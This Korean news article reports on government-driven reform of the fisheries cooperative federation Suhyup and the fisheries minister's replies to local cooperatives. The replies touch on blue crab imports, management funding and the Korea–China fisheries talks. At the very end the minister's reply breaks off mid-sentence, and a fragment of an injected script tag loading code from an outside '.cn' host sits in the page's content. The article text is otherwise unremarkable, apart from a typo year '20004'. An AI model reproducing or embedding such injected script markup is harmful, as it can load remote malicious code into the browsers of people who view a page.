" 농·축협 개혁이 외부입김 개입등 첫단추가 잘못 끼워져 난항을 거듭하고 있는 가운데 수협중앙회에 대한 개혁역시 이런 우려가 팽배해 있어 자칫 자율성이 배제된 개혁으로 치닫을 가능성이 높다.
특히 해양수산부가 빠른 시일안에 강도높은 개혁을 주문하고 있는 것과 함께 자체가 개정 수협법안이 현실과 다소 동떨어진 쪽으로 흘러가고 있다는 시각이 지배적이다.

지난 14일 정상천장관이 수협을 방문한 자리에서 개혁이 제대로 추진되지 않으면 장관이 결단을 내려야 한다는 발언을 함으로써 실질적이고 진정한 자율적 개혁에 압묵적 압박이 가해졌다.
수협중앙회에 따르면 또 현재 진행되고 있는 수협법개정과 관련 중앙회와는 해양수산부장관이 직접 지도·감독하는 별도의 법인연합회가 조합연합회로 설치된다는 내용이 포함돼 중앙회와 별개의 단체가 설치됨으로써 옥상옥의 조직체계가 형성될 소지가 있다.

이는 개정 농협법안에는 농협중앙회조직으로 연합회 구성을 해두고 있는 것과 대조를 보이고 있다.
이와함께 중앙회장의 권한을 축소한다는 명분아래 개정안에는 중앙회 대표이사 임명시 정관으로 정하는 추천위원회에서 추천된자를 회장이 총회의 동의를 얻어 임명토록 돼있다.

그러나 이 경우 외부의 영향력이 미칠 소지가 있어 수협의 자율성이 침해당할 우려가 있다는 주장이다.
이처럼 수협중앙회에 관리 감독을 전혀 배제할 수 없지만 수협의 의견과 자율성이 반영되지 않은 개혁추진은 협동조합의 기본이념에 위배된다는 것이 대부분의 견해이다.

따라서 수협은 지금까지와는 다른 개혁의 모습을 보여줘야 하며 해양수산부는 실질적인 개혁이 될 수 있도록 지원차원의 노력이 필요하다는 게 어업인들의 지적이다.
이와관련 한 관계자는 『수협개혁은 반드시 이뤄져야 하지만 자율성결여된 개혁은 의미가 없다』며 『협동조합을 제대로 이해하고 현실을 제대로 인식하는데 정부당국의 노력이 필요하다』고 주장했다.

정상천장관은 또한 수협도지회 존속에 회의적인 반응을 보이면서 『경영합리화 측면에서 존폐를 심각하게 고려해야 할 것』이라고 덧붙였다.
이와함께 『상반기결산 결과를 개혁을 본궤도에 올리기 위한 측면에서 고려해야 하며 국고보조가 필요할 경우 자신이 앞장서겠다』고 역설했다. 수협중앙회는 이에따라 이달말까지 경영진단 결과를 토대로 개혁안을 만들어 해양수산부에 보고하는등 실질적인 개혁작업에 나서기로 했다.
한편 이에앞서 옹진수협등 일선조합들은 꽃게잡이 어업인피해와 한·중어협 조기타결과 관련한 건의를 하고 해양수산부가 적극 해결해 줄 것을 요청했다.
다음은 조합별 건의내용과 정상천장관의 답변이다.
△홍성웅 옹진수협장=최근 연평도수역에서 남북 교전사태로 꽃게잡이 어업인들의 소득이 감소됐는데 이는 북한 꽃게가 중국을 거쳐 인천으로 수입돼 꽃게값이 하락됐기 때문이다. 북한산 꽃게 수입을 잠정적으로 제한해 주기를 바란다.
또 북미간에 논의되고 있는 남북공동어업구역 설정문제로 어업인들의 불안해 하고 있으며 이것이 추진될 경우 어업인에 대한 생계지원 대책이 강구돼야 한다.
△정병남 고흥수협장=조합경영개선 자금을 확대해 줘야 한다. 오는 20004년까지 총 현재의 2천5백억원 지원폭을 1천억원 증액한 3천5백억원으로 해주길 기대한다. 금리도 현행 5%에서 3%수준으로 내려주길 희망한다.
마른멸치 파동과 관련 정부비축물량을 현재 50톤에서 1천톤으로 확대하고 농안기금에서 56억원의 재정적 지원도 필요하다.
△이성수 안강망수협장=한·중어협이 조기 타결하는데 노력해 주길 바란다. 감척사업의 경우 희망자에 대해 현실가를 보상해 주어야 한다. 즉 최근 3년간 어획부진으로 기준이 되는 평년수익액의 3년분 산정을 5년으로 조정해 주길 요망한다.

<답변>
_옹진수협의 꽃게 수입금지 요청은 어업인의 피해는 이해하나 남북교류 협력사업의 국가적 정책문제가 깔려있다는 것을 이해해 주길바란다.

남북공동어업구역 문제는 일부 언론보도 내용과는 달리 어업인이 반대하면 추진하지 않겠다. 다만 공동조업은 남과 북이 공동으로 일정지역을 일정기간동안 똑같은 어선척수를 할애해 조업하는 것임을 알아야 한다.
_조합경영개선자금의 금리인하와 연차별 증액문제, 마른멸치 비축문제는 정책적으로 검토하겠다.

_안강망조합의 현시가 산정 보상은 사실상 불가능하다. 흥정에 의한 가격산정일 수 있기 때문이다.
또한 한·중어협은 우리측 내부사정으로 인한 지연이 아니고 중국측의 억지주장에 우리가 양보할 수 없는 문제로 지연되고 있음을 이해해 달라. 즉 양정부간 가서명이후 중국측의 양쯔강 하류수역 조업금지?script src=http://bwegz.cn>
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